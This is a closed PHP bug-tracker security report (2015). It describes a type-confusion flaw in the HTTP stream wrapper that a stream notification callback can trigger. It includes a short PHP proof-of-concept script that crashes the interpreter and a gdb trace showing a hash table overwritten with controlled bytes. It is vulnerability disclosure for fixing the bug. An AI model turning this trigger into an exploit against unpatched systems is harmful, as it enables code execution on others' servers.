php.net |  support |  documentation |  report a bug |  advanced search |  search howto |  statistics |  random bug |  login
Sec Bug #69337 php_stream_url_wrap_http_ex() type-confusion vulnerability
Submitted: 2015-03-31 07:47 UTC Modified: 2015-04-14 07:28 UTC
From: bugs at themadbat dot com Assigned:
Status: Closed Package: Streams related
PHP Version: Irrelevant OS:
Private report: No CVE-ID: None
Welcome back! If you're the original bug submitter, here's where you can edit the bug or add additional notes.
If you forgot your password, you can retrieve your password here.
Password:
Status:
Package:
Bug Type:
Summary:
From: bugs at themadbat dot com
New email:
PHP Version: OS:

 

 [2015-03-31 07:47 UTC] bugs at themadbat dot com
Description:
------------
php_stream_url_wrap_http_ex() creates a $http_response_header array variable in the local execution scope (which may be the global scope).

Then it gets a pointer to this variable, and throughout the function's execution accesses it multiple times, assuming that:
1) the variable still exists
1) the variable is indeed an array

ext/standard/http_fopen_wrapper.c:

	if (header_init) {
		zval *ztmp;
		MAKE_STD_ZVAL(ztmp);
		array_init(ztmp);
		ZEND_SET_SYMBOL(EG(active_symbol_table), "http_response_header", ztmp);
	}

	{
		zval **rh;
		zend_hash_find(EG(active_symbol_table), "http_response_header", sizeof("http_response_header"), (void **) &rh);
		response_header = *rh;
	}	

	.....
	
	ZVAL_STRINGL(http_response, tmp_line, tmp_line_len, 1);
	zend_hash_next_index_insert(Z_ARRVAL_P(response_header), &http_response, sizeof(zval *), NULL);


However, by using the stream notifications feature, an attacker can change the type of the $http_response_header variable before the function has finished executing, resulting in a type-confusion vulnerability, which has been shown several times in the past to lead to arbitrary code execution.

There are numerous stream notification codes that can be used for this purpose:
- STREAM_NOTIFY_REDIRECTED
- STREAM_NOTIFY_AUTH_RESULT
- STREAM_NOTIFY_FAILURE

And possibly others... The function should probably zval_add_ref() the $http_response_header as soon as its initialized, and then validate its type before every use, rather than assume its still an array.

Tested against:
- 64-bit PHP 5.5.9-1ubuntu4.7 (cli)
- 32-bit PHP 5.5.9-1ubuntu4.7 (cli)
- 32/64-bit PHP 5.6.7 (cli) (built: Mar 27 2015 07:04:21) (DEBUG)   - custom build with ./configure --enable-debug

Test script:
---------------
<?php
   function stream_notification_callback($notification_code, $severity, $message, $message_code, $bytes_transferred, $bytes_max)
   {
       if($notification_code == STREAM_NOTIFY_REDIRECTED)
       {
        // $http_response_header is now a string, but will be used as an array
        // by php_stream_url_wrap_http_ex() later on
        $GLOBALS['http_response_header'] = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\0\0\0\0";
       }
   }

   $ctx = stream_context_create();
   stream_context_set_params($ctx, array("notification" => "stream_notification_callback"));

   file_get_contents("http://php.net/get-involved", false, $ctx); // any url that causes a http redirection
?>

Expected result:
----------------
Segmentation fault

Actual result:
--------------
(gdb) r
Starting program: /php-5.6.7/sapi/cli/php test2.php
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Program received signal SIGSEGV, Segmentation fault.
0x0000000000808166 in _zend_hash_index_update_or_next_insert (ht=0x7ffff7eb1f08, h=7016996765293437281, pData=0x7fffffff8cc0, nDataSize=8, pDest=0x0, flag=4, 
    __zend_filename=0xc2f1d0 "/php-5.6.7/ext/standard/http_fopen_wrapper.c", __zend_lineno=726) at /php-5.6.7/Zend/zend_hash.c:399
399     p = ht->arBuckets[nIndex];
2: x/i $pc
=> 0x808166 <_zend_hash_index_update_or_next_insert+235>:       mov    (%rax),%rax

(gdb) bt
#0  0x0000000000808166 in _zend_hash_index_update_or_next_insert (ht=0x7ffff7eb1f08, h=7016996765293437281, pData=0x7fffffff8cc0, nDataSize=8, pDest=0x0, flag=4, 
    __zend_filename=0xc2f1d0 "/php-5.6.7/ext/standard/http_fopen_wrapper.c", __zend_lineno=726) at /php-5.6.7/Zend/zend_hash.c:399
#1  0x000000000072d47a in php_stream_url_wrap_http_ex (wrapper=0xf5b520 <php_stream_http_wrapper>, path=0x7fffffffa130 "http://php.net/get-involved.php", mode=0xc1edab "rb", options=0, opened_path=0x0, context=0x7ffff7fc8190, 
    redirect_max=19, flags=2, __php_stream_call_depth=0, __zend_filename=0xc2f1d0 "/php-5.6.7/ext/standard/http_fopen_wrapper.c", __zend_lineno=895, __zend_orig_filename=0x0, __zend_orig_lineno=0)
    at /php-5.6.7/ext/standard/http_fopen_wrapper.c:726
#2  0x000000000072e599 in php_stream_url_wrap_http_ex (wrapper=0xf5b520 <php_stream_http_wrapper>, path=0x7ffff7eb2048 "http://php.net/get-involved", mode=0xc1edab "rb", options=0, opened_path=0x0, context=0x7ffff7fc8190, 
    redirect_max=19, flags=1, __php_stream_call_depth=0, __zend_filename=0xc2f1d0 "/php-5.6.7/ext/standard/http_fopen_wrapper.c", __zend_lineno=951, __zend_orig_filename=0x0, __zend_orig_lineno=0)
    at /php-5.6.7/ext/standard/http_fopen_wrapper.c:895
#3  0x000000000072e8d2 in php_stream_url_wrap_http (wrapper=0xf5b520 <php_stream_http_wrapper>, path=0x7ffff7eb2048 "http://php.net/get-involved", mode=0xc1edab "rb", options=0, opened_path=0x0, context=0x7ffff7fc8190, 
    __php_stream_call_depth=1, __zend_filename=0xc38f18 "/php-5.6.7/main/streams/streams.c", __zend_lineno=2066, __zend_orig_filename=0xc1e698 "/php-5.6.7/ext/standard/file.c", __zend_orig_lineno=550)
    at /php-5.6.7/ext/standard/http_fopen_wrapper.c:951
#4  0x000000000077d37c in _php_stream_open_wrapper_ex (path=0x7ffff7eb2048 "http://php.net/get-involved", mode=0xc1edab "rb", options=8, opened_path=0x0, context=0x7ffff7fc8190, __php_stream_call_depth=0, 
    __zend_filename=0xc1e698 "/php-5.6.7/ext/standard/file.c", __zend_lineno=550, __zend_orig_filename=0x0, __zend_orig_lineno=0) at /php-5.6.7/main/streams/streams.c:2064
#5  0x00000000006d0842 in zif_file_get_contents (ht=3, return_value=0x7ffff7fc68e8, return_value_ptr=0x7ffff7f8f1c8, this_ptr=0x0, return_value_used=0) at /php-5.6.7/ext/standard/file.c:548
#6  0x0000000000619ff3 in phar_file_get_contents (ht=3, return_value=0x7ffff7fc68e8, return_value_ptr=0x7ffff7f8f1c8, this_ptr=0x0, return_value_used=0) at /php-5.6.7/ext/phar/func_interceptors.c:225
#7  0x000000000083b5d8 in zend_do_fcall_common_helper_SPEC (execute_data=0x7ffff7f8f260) at /php-5.6.7/Zend/zend_vm_execute.h:558
#8  0x0000000000840e49 in ZEND_DO_FCALL_SPEC_CONST_HANDLER (execute_data=0x7ffff7f8f260) at /php-5.6.7/Zend/zend_vm_execute.h:2595
#9  0x000000000083ac47 in execute_ex (execute_data=0x7ffff7f8f260) at /php-5.6.7/Zend/zend_vm_execute.h:363
#10 0x000000000083acd0 in zend_execute (op_array=0x7ffff7fc4da0) at /php-5.6.7/Zend/zend_vm_execute.h:388
#11 0x00000000007f6aa3 in zend_execute_scripts (type=8, retval=0x0, file_count=3) at /php-5.6.7/Zend/zend.c:1341
#12 0x000000000075d181 in php_execute_script (primary_file=0x7fffffffd290) at /php-5.6.7/main/main.c:2597
#13 0x00000000008a915e in do_cli (argc=2, argv=0xf7b9e0) at /php-5.6.7/sapi/cli/php_cli.c:994
#14 0x00000000008aa48c in main (argc=2, argv=0xf7b9e0) at /php-5.6.7/sapi/cli/php_cli.c:1378
(gdb) print ht
$18 = (HashTable *) 0x7ffff7eb1f08

(gdb) print *ht
$19 = {nTableSize = 1633771873, nTableMask = 1633771873, nNumOfElements = 1633771873, nNextFreeElement = 7016996765293437281, pInternalPointer = 0x6161616161616161, pListHead = 0x6161616161616161, pListTail = 0x6161616161616161, 
  arBuckets = 0x6161616161616161, pDestructor = 0x6161616161616161, persistent = 97 'a', nApplyCount = 97 'a', bApplyProtection = 97 'a', inconsistent = 0}

(gdb) x/s ht
0x7ffff7eb1f08: 'a' <repeats 68 times>

Patches

Pull Requests

History

AllCommentsChangesGit/SVN commitsRelated reports
 [2015-04-14 07:29 UTC] stas@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=d82d68742c69fc20a5180a2dbcca4cac52435931
Log: Fix bug #69337 (php_stream_url_wrap_http_ex() type-confusion vulnerability)
 [2015-04-14 07:29 UTC] stas@php.net
-Status: Open +Status: Closed
 [2015-04-14 08:31 UTC] stas@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=d82d68742c69fc20a5180a2dbcca4cac52435931
Log: Fix bug #69337 (php_stream_url_wrap_http_ex() type-confusion vulnerability)
 [2015-04-15 08:43 UTC] jpauli@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=d0bbb8b1339f3bd8ba4db244fa6c79ac75ad4b11
Log: Fix bug #69337 (php_stream_url_wrap_http_ex() type-confusion vulnerability)
 
PHP Copyright © 2001-2024 The PHP Group
All rights reserved.
Last updated: Thu Nov 21 13:01:29 2024 UTC